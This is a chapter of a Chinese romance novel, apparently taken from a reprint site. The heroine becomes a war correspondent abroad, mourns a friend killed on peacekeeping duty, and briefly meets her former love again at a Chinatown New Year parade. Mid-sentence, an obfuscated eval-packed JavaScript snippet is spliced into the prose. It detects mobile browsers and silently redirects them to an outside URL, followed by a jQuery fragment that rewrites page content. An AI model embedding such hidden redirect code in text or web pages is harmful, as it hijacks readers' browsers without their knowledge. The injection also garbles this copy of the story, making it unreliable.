在一个人去办护照的路上,她独自坐在地铁上,耳朵里塞一只蓝牙耳机。这条线是商业街的中心枢纽,来来往往的情侣很多。她闲来无事,数了数,在自己迟钝的目光里,出现了十一对情侣。 其中三对是手挽着手上车的,并且两人一直在聊天,没有玩过手机。 有六对是站定或坐定后挽起手的,但两人都在各自看着手机。 有两对,一对是男生软磨硬泡要牵手,一对是女生强硬要求抓住男生的胳膊。 姜岁安忽然有些明白方知言了—— 他其实对自己很有占有欲,只是平日里不表现出来,骗人觉得他清心寡欲。 莫名有些可爱。 地铁到站了,开门的一瞬间,热空气窜到脸上,再不去回想这些细节了。 姜岁安拿到护照的过程比她自己预想的要顺利很多,只是在回应家庭收入的时候刻意说明了父亲的餐馆是连锁品牌,并且持股。至于持股多少,她在回答的那一瞬间是大脑一片空白的,可面上装得自信,所以没被追问。 走一步算一步吧。 姜岁安回学校的路上路过理发店,心一横,把留了两年的长发剪了。 她觉得自己剪短发其实一点也不好看,反正没有夏静雯好看,所以在临行前的那个夏日,她说自己不要方知言送。 于是他真没来送自己。 傻瓜……不懂预期违背吗? 姜女士和牛先生站在安检口,两个泪人抱在一起,姜岁安觉得她们太煽情,于是痛批了这种行为。 “姜女士、牛先生,我走了哦。” 姜女士:“行。” “我走了哦。” 牛先生做出一个“扬帆”的手势,说:“去吧,出发。” “老爸老妈,我走了哦。” 姜女士:“回来就是小洋鬼子了,快走快走,老在这里刺激我和你爸。” 晨光里,她忐忑又兴奋地启程,笑意清澈。 37. 来往和这那(六) 来到这里,独自一人闯南北的时候,姜岁安猛然惊觉时间流逝的速度飞快。 握不住,放不下。 而世界也远比她想象中复杂。 “安安,你们那里下雨了没有呀?汐城又遭水淹了……你走了之后家里好清静的,你爸还跑到你房间去,咦,空落落的、空落落的。”姜女士时常向自己报备汐城和牛先生的行踪。 她初到美国的时候,牛先生和姜女士曾打过视频通话问她:“安安,你跟你的男朋友异地怎么搞哦。” 正处理那腥臭无比猪肉的姜岁安愣了愣,说那次只是个小玩笑,自己和方知言其实并没有什么。 牛先生说:“那小子很优秀啊,你别过了这村发现没店了,然后后悔哦。” 姜岁安把猪肉的血水全都挤了出去,干呕了一声,然后淡然地说:“爸、妈,人家跟我们就不是一个世界的人,他们家资产都上亿,我可没有嫁豪门的兴趣——我要努力奋斗,等男人来上嫁我,要么至少得是两个人赚钱能力都差不多的时候才行。” 姜女士十分赞同:“那是,我可不想让我安安嫁去豪门受苦……她找个爱她的、有点小钱的男人就足够了。” 姜岁安把肉放进了煮沸的水里,又干呕了一声。 老厨师牛先生远程指导:“焯水的时候多放点花椒和葱姜。” “不是……爸,国外的猪肉就是这样的,你这法子没用……行了行了,我先做饭,你们早点睡啊。” 刚到这里来的时候很是不习惯,经常会因为用错词而被人笑话或者遭人白眼。 总甜言蜜语的嘴有时也会吃瘪,她本意要夸一个女孩子苗条漂亮,但却用了“thin”,人家说她粗鲁歧视,最后费了好多口舌才解释清楚——“瘦”和“苗条”在她们眼里是天上地下的两个词。 最可恨的是,因为自己习惯用企鹅邮箱,被班里纯种金发碧眼的白男Mike当众嘲笑。 “Q~Q~What''sQ~Q~?” 台上的讲师习以为常,抬起眼皮淡淡对姜岁安说:“Annie,go.” 于是姜岁安当众给了Mike一拳,这一拳正中他面门,Mike流了鼻血,姜岁安的拳头也生疼。 周围同学震惊:“ThisisChineseKongfu!” 可姜岁安还是连夜申请了一个谷歌邮箱。 所谓不打不相识,Mike几乎被这个东方面孔的可爱女子迷得颠三倒四,隔三差五就开着自己的豪车来问姜岁安要不要跟自己去兜风。 姜岁安总是笑着向他递出需要打上马赛克的那个手势,然后在他的鸣笛中潇洒离去,她受不住这样莫名其妙的热情,心想:这是什么新型的霸凌手段吗? Mike越来越觉得姜岁安有趣,依旧时不时会去烦烦她,哪怕她对他的态度冷淡刻薄。 姜岁安后来觉得他这人虽然性格一般、品质一般,但还算义气,长得也帅,就认真地说,做朋友可以,做恋人万万不行。 Mike有点受挫,但依旧有一种莫名其妙的自信,说,她会为自己倾倒的。 倾倒不倾倒不好说,但继续闻他身上的香水味,自己一定会昏倒的。 世界上的男人都是一个德行。 每当她有这样念头的时候,姜岁安都会想念方知言,想念他作为一个及格线以上甚至算作优秀的男人的言行。 所以,许是心中怀着对某人的歹念和亏欠,她并没有恋爱的想法——主要是没有时间。 姜岁安逼着自己学英语、逼着自己分析大量报道、逼着自己跟在职业记者屁股后面跟踪事件、逼着自己写文章投稿,终于在无数次碰壁之后将自己逼进了那栋大楼。 没有想象中那么激动,一开始也要做一些端咖啡和会议记录的事,后来因为能力不错,渐渐有了外出采访和独立撰稿的机会。 在这个竞争激烈的地方,有一个人给了她特别的关照。 张希杰,一个美籍华人、绅士老头。 大概是姜岁安的出现让他有一见如故的感觉,总之,张希杰对她额外照顾,可谓是她的贵人。 姜岁安是蛮跳脱的一个人,所以张希杰对她的唯一要求是:“Annie,学会听、学会克制、学会沉默。” 来到这里的第二年,二十三岁时,姜岁安正式成为这本杂志的记者,被派去X国做战地记者。 张希杰领着她。 这年四月,三国对X国发动联合军事打击,主要原因是其指控X国政府在东部地区使用化学武器。 她临危受命深入难民区做记录。 战区里,她遇到了一个女孩,她纯真而忧郁的蓝色眼睛里装满了恐惧与热情,像希望的麦芒一样,风一吹就走了,走在血与干涸的流淌里。 《SheSawItAll》——在战区写的这篇报道让她名声大噪,但似乎对轰炸事件的解决走向没有丝毫影响,有的人依旧高高在上,有的人依旧死生未卜,于是她心中的某些信念悄然瓦解。 就在自己穿行于黄沙浓雾之间的时候,远在地球另一边的夏静雯在维和行动中牺牲了。 姜岁安那时候并不知道这件事,只是听闻夏静雯好像出事了,但脱不开身,具体情况还是在离开战区的路途上知道的。 她已经很久不用企鹅邮箱了,可那个人却用企鹅邮箱给自己发了邮件,她奋笔疾书写了许多表示悼念和遗憾的语句,却在看着违约的葬礼日期那一瞬间失神,最后选择全部剪切,粘贴到自己的心里。 这个此前叫做“小蒋不是老蒋”的,现在叫做“OPEN-MIND蒋翼铭”的账号的主人——他会对此作何感想呢? 值得庆幸的是,夏静雯的遗体被安葬在汐城的烈士陵园里,有条件到现场悼念她的人更多。 落叶归根。 但姜岁安知道,夏静雯不是汐城人,是为了上学方便才改了户口,这算不算是一种因祸得福呢? 她是喜欢热闹的人,一定不想要自己在场的地方冷清,所以,销声匿迹许久的蒋翼铭组了局,联系了很多老同学,大家都带着花儿来祭奠她。 可惜姜岁安错过了。 夏静雯会怪自己吗? 在姜岁安的推断中,她应该会这样说:“岁安,都忙得没时间来见我了,一定是因为工作正处在上升期吧!” 后来借着工作回国,她才得以去见见她。 与她同行的不是方知言,而是何佳,她现在是国内某知名报社的文字记者。 她与何佳在国内的一场新闻发布会上见了面,两个人的交谈也并不融洽,但远远到不了唇枪舌战的地步。 主动提出要一起去见夏静雯的也是何佳。 这里庄重而肃穆,松柏镇魂。 夏静雯的黑白相片在石碑上,她身着军装,目光如炬,气宇轩昂。 有人放了一束杜鹃,有人两手空空。 姜岁安认为,这叫“杜鹃啼血猿哀鸣”,只是将鸟化成了花儿,而猿猴在这个场合嚎叫实在不雅,就把所有牵肠挂肚打碎了揉进胃里,最后学着牛羊反刍,让自己永远都能尝到离别的滋味,永远尝到恐惧的滋味。 她哈了一口气,只有在冬天,才能看到自己气息的形状,白白一卷。 冬风从柏、槐中穿过来打在自己脸上的时候,她承认,自己害怕了。 姜岁安问何佳与夏静雯是很好的朋友吗。 何佳说:“高中的时候,你们对我,要么是同情、要么是鄙夷,只有她把我看做是与大家平等的人,我虽然没有接受她去参加比赛庆祝会的邀请,但也只是因为我讨厌你们,而并不讨厌她。知道她牺牲也是我从中学的公众号里看到的,你看,我们搞新闻的人,不会放过任何一个热点。” 她不知道该说什么,皮笑肉不笑:“这样也好。” 何佳敏锐地发现,在夏静雯的坟墓旁的那张男人的照片眉眼与之格外相似。 姜岁安发现何佳皱着眉,说:“是她的哥哥。” 何佳叹了口气。 她想到的不是夏静雯的哥哥或是夏静雯,而是她的父母。如果他们只有这两个孩子,那么现在他们该用什么样的方式去面对这一残酷的事实呢?他们会后悔吗?他们会自责吗? 自己的母亲会因为儿子是个脑瘫而自责到需要靠自己供钱吃药来稳定情绪,那么他们呢……为什么能够在儿子已经牺牲的情况下还允许女儿去完成这样危险的使命? 她实在不理解他们,就像不理解姜岁安为什么一定要有“为他人实现自我价值”的愿望。 两人从烈士陵园走出之后来到了一家韩料店。 姜岁安点了一份黑松露炸酱面,何佳点了一份辣白菜牛肉汤饭。 明明是散餐,两人都默契地只点了不大好分享的食物,界限分明。 “你什么时候回去?”何佳问。 “明天。”姜岁安回。 “明天几点?” “你不需要知道。” “我是不需要知道,但有个人应该想知道吧。” 姜岁安不动声色地皱了皱眉,半带无奈的嗓音响起:“何佳,我回来的事情方知言并不知情,我回去也不想让他知道,你当我没来过就好……谢谢你。” 何佳并不理解为什么要问这个问题,也不知道姜岁安和方知言在大学四年究竟发生了什么,她貌似不大想提,但还是在得到了答案之后,答应了姜岁安。 不答应她显得自己太没风度,答应了再违约,乃是真正的胜利。 次日上午,方知言所在的律师事务所迎来了一位不速之客,她不是来委托律师的,也不是来谈商务合作的。 这个女人,短发飒爽,身型高挑瘦削,戴着一副黑框眼镜,浑身散发着禁欲干练的气质。 事务所在汐城的CBD,摩天大楼林立,方知言还在港城大读书,一年里只有一段时间留在汐城,但还是请何佳来到了自己的办公室,给她泡了茶。两人没有面对面,而是站在一块巨大的玻璃前眺望着电视塔和它周围的地标建筑。 见面的第一句话,何佳说:“她回来了,但是今天就要走了,”她抬手看了看表,分针擦着12过了一个刻度,紧接道,“下午五点的飞机。” 律所最近承接了一档职场综艺,作为助教律师的方知言在铺天盖地的课题中养成了看整时的习惯,在听到她的话后哼笑了一声,按在玻璃上的手暗自用力,青筋凸起。 身边的女人声音不大,刚好够他听清:“我本来没有义务告诉你的,但她偏偏提起了你,我自然是不想让姜岁安如愿的,但也不想让你如愿。” 方知言失笑,看不透眼前这个人:“我们什么时候做过对不起你的事呢?” 何佳说:“从未。” 就像春天的风从来不会刮过秋天,从未。 方知言礼貌地送客,何佳踩着高跟鞋,一步一步都踩在他的神经上。 他瘫坐在靠椅上,撑着头望向电脑和盆栽中间的一个小相框,相框里是自己和姜岁安的合照。背景是红色的,红色是礼堂后台的幕布,幕布前站着两个人,两个人都笑着,笑着笑着,两人的身影都模糊了。 哀伤中,两个人变成了四个人。 姜岁安收起手中那张四人的合照,整理着帽子,看着接驳车外的荒芜。 春天,她去到了夏静雯离开的那个地方。 因为那里是秋天。 之所以选在秋天,大概是从小把愁说多了,真当有气要施的时候,又一个字都说不出口。 夏静雯说她像稼轩,不对,像他的词。 那她呢?她像谁?她像什么? 姜岁安懒得想了。 在烈士陵园的时候,不知是何佳的在场让自己羞于表达、不胜愧赧,还是她实在不知该对她说些什么,总之,她并没有哭天抹泪。 再或者,是自己学习了很久的克制终于成为了一种习惯。 她想,走过夏静雯走过的地方,才能读懂她,好让自己迟到的缅怀多些情谊。 在这里,她亲眼见证了部落的人们如何通过不断割破皮肤形成凸起来为自己纹身、见证了用牛的尿如何洗头、见证了许多古老神秘图腾如何影响着他们的生活、见证了许多她无法理解的信仰如何塑造了活生生的人…… 原来有人以这种方式生活在这个世界上。 天与地,将我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386465|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的世界分成三个界限,百分之九十九的人都只能在天与地中间这个平行象限中活着,地下的是死人,天上的是超人或者非人。贫穷、炎热、动物世界?不,这里还是人间。 这就是真相,简单而残酷的真相。 这就是夏静雯守卫的真相。 姜岁安想。 岁安也会面了夏静雯的战友们,他们戴着蓝色的军帽,身姿挺拔,眼神坚定。 他们说,夏静雯是为了救一名小男孩而被倒塌的房屋永远压在了尘土之下,他们说,她是纯粹的一位共产主义战士。 姜岁安默默地流着眼泪,一句话也不说。 他们是战友,她们是朋友,姜岁安不知道如何向他们表达这种感情,于是将眼泪流到自己身上,流满心里为她留下的那间客房。心里的泪满了,就会从眼眶里倾泻而出,控制不住。 姜岁安依旧默默地流着眼泪,一句话也不说。 原来有些人注定是不能被理解的,这样的人注定是要用来怀念的。 她不想拿她来做报道的案例,这样太残忍,因为每一个字符敲上去都会提醒她自己——夏静雯已经走了。 她是无法忍受残忍的人,她不冷漠,也学不会冷漠。 学着冷漠的时候,表现太刻板,被人笑过很多次,后面索性放弃。 有人说,要在宏大叙事里消解忧愁,在点滴生活中确定幸福。可是她的忧愁没有被消解,反而在离别的无情摧残下,让自己连话都变少了,而她的幸福,也永远留在了灵州的水季。 所以啊,不说话是不用刻意学习的,有了一定的阅历之后,方才明白许多掷地有声但无实词的规矩,才会闭上嘴巴安静聆听,才会有苦有恨有喜有乐都说不出口,才会变得谦虚。 方。 知。 言。 原来这才是他安静的缘由。 方知言—— 我啊,似乎永远被困在,灵州的水季里了。 话变少了,也就可以多些思考来反省自己了。所以见到何佳的时候,她的第一反应不是祝福或者震惊,而是同情。这是认识何佳的这么多年以来,她第一次正视自己的情绪。 她承认了,自己总在泛滥同情,自知这不是什么好事,但改不了“邪”,归不了“正”,就先将就一下,毕竟到底还是委屈自己多一些,只有何佳比较例外。 她依旧像是自己的影子一样,一个畸形的影子,她同情她早已不再是同情她的身世,而是同情她一直以来将自己这样的人作为盲目追逐的目标,甚至不惜走自己走过的每一步路。 在X国做战地记者的时候,张希杰曾经冷不丁地冒出来一句“Annie,有没有人说过,你不适合做记者”。 姜岁安现在明白了他为什么这么说。 太在意别人,太想介入别人的因果,太自视甚高孤芳自赏。 詹成华也是这样说的,俩老人都是这样说的。 …… 两年后,春天总又会来的。 这是姜岁安在美国过的第二个年。 前两年上学的时候,包括进入杂志社的第一年,还每年都会飞回汐城过年,有了稳定的工作之后,就很难抽出时间回家过年了。 姜女士和牛先生的甜品屋和饭店做得越来越好,以至于姜岁安总要叫他们一声“大老板”来讨压岁钱。 隆冬寻春,唐人街群龙舞首、唐装华服、水袖云衫……新年的醒狮朝两人眨眼,姜岁安在狮子大摇大摆蹦来的时候摸了摸它的脑袋,然后手快地摸摸它的尾巴。 “摸摸狮头,一年不愁;摸摸狮尾,顺风顺水。”举着鲤鱼灯笼在前排游荡的男人用最标准的普通话传递着祝福。 听到熟悉的家乡的语言,姜岁安的嘴角扬起了一个自己都没注意到的弧度。不知道为什么舞狮队要让鲤鱼打头,但乍看好像没有问题,所以会心大笑。 队尾的黄狮子似乎刚学会走路,一路上都在头等屁股,屁股找头,还不常眨眼,呆呆傻傻的。 姜岁安觉得有趣,录下视频发给了张希杰。 黄狮子摇摇晃晃走了过来,走到姜岁安跟前,张开了嘴巴,里面伸出了一只手,那手里有一封信。 喧天的热闹里,姜岁安指了指自己,她的声音盖过了自己重逢的心跳:“给我的嘛!” 黄狮子点点头,扭着屁股走了,她没能看见那人的眼睛,可仅仅是一只手,一只戴着红绳花的手——就已经足够了。 姜岁安停滞在原地,天空中慢慢散落雪花,像流萤。 她直起身子,将已经长长的长发撩至耳后,眼眶发红。 方知言,我做到了。 照顾好自己,好好吃饭、好好上学、好好工作,不让家人、朋友和方知言担心。 答应你、答应“她”的事,我一直都有遵守诺言,但是,我好想与你们失约。 我想要回到你身边、牵着你的手,抱你、吻你、睡你、迷恋你,直到黄昏稀释成墨水在夜空,爆竹炸穿宏大的虚无。我完成了少女骑士的梦想,那是小岁安的梦想,“她”成就了我,可我却开始害怕“她”,害怕过世的回忆被自己频繁惦记和祭奠。 她把拯救一个白塔里的王子视为骑士的勋章,把为了自己的乌托邦向外征战扩张视为骑士的任务,却忘记了自己只是一个平平无奇的爱做梦的少女,而这个平凡的少女才是她应该效忠的国王。 姜岁安…… 十八岁的姜岁安…… 自信得可恨,盲目得耀眼。 长长的街巷,堵住了她的去路,姜岁安在反应过来的那一瞬间,黄狮子已经跟上了前行狮群和鼓队的步伐,她想要去追,可在水流般的人群里步履维艰。 直到心里有个声音告诉她不必再去追寻。 花火打上云天,因为是白天,看不见彩色。热闹震耳欲聋,群众摩肩接踵,在这里——给所有无法归国或说无法团聚的华人莫大的慰藉。 他只是千里迢迢,迢迢千里,赶来送自己一场团圆的人而已。 送惊鸿一瞥、送春风拂面、送原谅与再见、送爱恋和怨念。 相逢仅一瞬,就足矣。 【上册完】